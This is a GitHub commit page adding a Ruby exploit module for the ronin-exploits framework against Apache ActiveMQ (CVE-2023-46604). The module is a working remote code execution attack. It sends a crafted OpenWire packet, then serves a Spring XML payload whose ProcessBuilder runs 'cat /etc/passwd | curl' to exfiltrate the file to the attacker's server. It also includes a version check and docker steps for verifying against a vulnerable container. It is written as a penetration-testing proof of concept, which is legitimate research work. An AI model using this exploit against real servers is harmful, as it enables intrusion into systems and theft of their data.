-
-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
93977df
commit 3ba3741
Showing
2 changed files
with
232 additions
and
6 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,224 @@ | ||
#!/usr/bin/env -S ronin-exploits run -f | ||
|
||
require "ronin/exploits/exploit" | ||
require "ronin/exploits/mixins/remote_tcp" | ||
require "ronin/support/binary/stream" | ||
require "ronin/web/server" | ||
|
||
module Ronin | ||
module Exploits | ||
# | ||
# This exploit is based on an examination the following prior art: | ||
# | ||
# - https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604 | ||
# - https://github.com/Mudoleto/Broker_ApacheMQ | ||
# - https://github.com/dcm2406/CVE-2023-46604 | ||
# - https://github.com/mrpentst/CVE-2023-46604 | ||
# | ||
# The exploit has two steps: | ||
# | ||
# 1. send a crafted OpenWire message to the ActiveMQ server, which will cause the server to connect | ||
# to a URL that may contain a malicious XML payload | ||
# 2. serve a malicious XML payload that will cause the server to execute arbitrary shell commands | ||
# | ||
# | ||
# == Verification | ||
# | ||
# To verify against a vulnerable docker image: | ||
# | ||
# docker run --detach --rm -p 61616:61616 --network=host veita/test-activemq:5.18.2 | ||
# exploits/activemq/CVE-2023-46604.rb -p host=localhost -p port=61616 | ||
# | ||
# against a not-vulnerable docker image: | ||
# | ||
# docker run --detach --rm -p 61616:61616 --network=host veita/test-activemq:5.18.3 | ||
# exploits/activemq/CVE-2023-46604.rb -p host=localhost -p port=61616 | ||
# | ||
# You can read more about that docker container at https://github.com/veita/cont-test-activemq | ||
# | ||
# | ||
# == Implementation details | ||
# | ||
# For details on OpenWire wire format see: | ||
# | ||
# - https://activemq.apache.org/components/classic/documentation/openwire-version-2-specification | ||
# - https://github.com/apache/activemq-openwire | ||
# | ||
class CVE_2023_46604 < Exploit | ||
|
||
include Mixins::RemoteTCP | ||
|
||
register "activemq/CVE-2023-46604" | ||
|
||
quality :poc | ||
release_date "2024-05-03" | ||
disclosure_date "2023-10-27" | ||
advisory "CVE-2023-46604" | ||
|
||
author "Mike Dalessio", email: "[email protected]" | ||
summary "Remote code execution in Apache ActiveMQ <5.15.16, <5.16.7, <5.17.6, <5.18.3" | ||
description <<~DESC | ||
The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This | ||
vulnerability may allow a remote attacker with network access to either a Java-based | ||
OpenWire broker or client to run arbitrary shell commands by manipulating serialized class | ||
types in the OpenWire protocol to cause either the client or the broker (respectively) to | ||
instantiate any class on the classpath. Users are recommended to upgrade both brokers and | ||
clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 which fixes this issue. | ||
DESC | ||
references [ | ||
"https://nvd.nist.gov/vuln/detail/CVE-2023-46604", | ||
"https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604", | ||
"https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604/blob/main/shell.py", | ||
"https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604/blob/main/config.xml", | ||
"https://github.com/dcm2406/CVE-2023-46604", | ||
"https://github.com/dcm2406/CVE-2023-46604/blob/master/exploit.py", | ||
"https://github.com/dcm2406/CVE-2023-46604/blob/master/poc.xml", | ||
"https://github.com/mrpentst/CVE-2023-46604", | ||
"https://github.com/mrpentst/CVE-2023-46604/blob/main/exploit.py", | ||
"https://github.com/mrpentst/CVE-2023-46604/blob/main/poc.xml", | ||
] | ||
|
||
# | ||
# Test whether the target system is vulnerable. | ||
# | ||
def test | ||
wireformat_message = nil | ||
tcp_connect do |socket| | ||
socket.close_write | ||
wireformat_message = socket.read | ||
end | ||
|
||
version = pluck_provider_version(wireformat_message) | ||
return Unknown("host is not reporting a provider version") if version.nil? | ||
print_info("Detected provider version: #{version}") | ||
|
||
version = Gem::Version.new(version) | ||
if (version < Gem::Version.new("5.15.16") && version >= Gem::Version.new("5.15.0")) || | ||
(version < Gem::Version.new("5.16.7") && version >= Gem::Version.new("5.16.0")) || | ||
(version < Gem::Version.new("5.17.6") && version >= Gem::Version.new("5.17.0")) || | ||
(version < Gem::Version.new("5.18.3") && version >= Gem::Version.new("5.18.0")) | ||
return Vulnerable("host is vulnerable to CVE-2023-46604") | ||
else | ||
return NotVulnerable("host is not vulnerable to CVE-2023-46604") | ||
end | ||
end | ||
|
||
default_port 61616 | ||
param :web_host, default: "localhost", | ||
desc: "A routable hostname for the exploit runner's web server" | ||
param :web_port, Integer, default: 1024 + rand(65535 - 1024), | ||
desc: "A listen port for the exploit runner's web server" | ||
|
||
JAVA_CLASSNAME = "org.springframework.context.support.ClassPathXmlApplicationContext" | ||
PROVIDER_VERSION = "ProviderVersion" | ||
STRING_TYPE = 9 | ||
|
||
def build | ||
@web_host = params[:web_host] | ||
@web_port = params[:web_port] | ||
web_url = "http://#{@web_host}:#{@web_port}" | ||
|
||
buffer = Ronin::Support::Binary::Buffer.new(1024) | ||
buffer.put_uint8(4, 0x1f) # EXCEPTION_RESPONSE | ||
.put_uint8(14, 0x01) | ||
cursor = 15 | ||
buffer.put_uint8(cursor, 0x01) | ||
.put(:uint16_be, cursor+1, JAVA_CLASSNAME.length) | ||
.put_string(cursor+3, JAVA_CLASSNAME) | ||
cursor += 3 + JAVA_CLASSNAME.length | ||
buffer.put_uint8(cursor, 0x01) | ||
.put(:uint16_be, cursor+1, web_url.length) | ||
.put_string(cursor+3, web_url) | ||
cursor += 3 + web_url.length | ||
buffer.put(:uint32_be, 0, cursor-4) | ||
@payload1 = buffer.to_s[0..cursor-1] | ||
|
||
@payload2 = <<~XML | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<beans xmlns="http://www.springframework.org/schema/beans" | ||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | ||
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> | ||
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> | ||
<constructor-arg > | ||
<list> | ||
<value>bash</value> | ||
<value>-c</value> | ||
<value>cat /etc/passwd | curl --data-binary @- #{web_url}/exfil</value> | ||
</list> | ||
</constructor-arg> | ||
</bean> | ||
</beans> | ||
XML | ||
end | ||
|
||
def launch | ||
queue = Thread::Queue.new | ||
runner = self | ||
injection = @payload2 | ||
|
||
@server_thread = Ronin::Web.server do | ||
set :bind, runner.params[:web_host] | ||
set :port, runner.params[:web_port] | ||
|
||
get("/") do | ||
runner.print_info "Received HTTP request" | ||
queue.push(:get) | ||
injection | ||
end | ||
|
||
post("/exfil") do | ||
runner.print_info "Received RCE exfiltration:\n" + request.body.read | ||
queue.push(:exfil) | ||
"" | ||
end | ||
|
||
on_start do | ||
queue.push(:start) | ||
end | ||
|
||
on_stop do | ||
queue.push(:stop) | ||
end | ||
end | ||
queue.pop # :start | ||
|
||
print_info "Sending OpenWire payload:" | ||
@payload1.hexdump | ||
|
||
tcp_send(@payload1) | ||
|
||
return if queue.pop == :stop # :get | ||
return if queue.pop == :stop # :get | ||
queue.pop # :exfil | ||
end | ||
|
||
def cleanup | ||
@server_thread&.stop! | ||
end | ||
|
||
private | ||
|
||
# we're taking the easy way out by not parsing the whole message, just finding the | ||
# "ProviderVersion" property and pulling it out of the message. | ||
def pluck_provider_version(message) | ||
print_info "Extracting provider version from OpenWire WIREFORMAT message:" | ||
message.hexdump | ||
|
||
property_index = message.index(PROVIDER_VERSION) | ||
return nil if property_index.nil? | ||
|
||
stream = Ronin::Support::Binary::Stream.new( | ||
StringIO.new(message[(property_index + PROVIDER_VERSION.length)..]) | ||
) | ||
|
||
ptype = stream.read_byte | ||
raise ExploitFailed, "unknown primitive type #{ptype}, expected #{STRING_TYPE}" if ptype != STRING_TYPE | ||
|
||
plen = stream.read_value(:int16_be) | ||
raise ExploitFailed, "unexpected string len #{plen}" if plen <= 0 | ||
|
||
stream.read_string(plen) | ||
end | ||
end | ||
end | ||
end |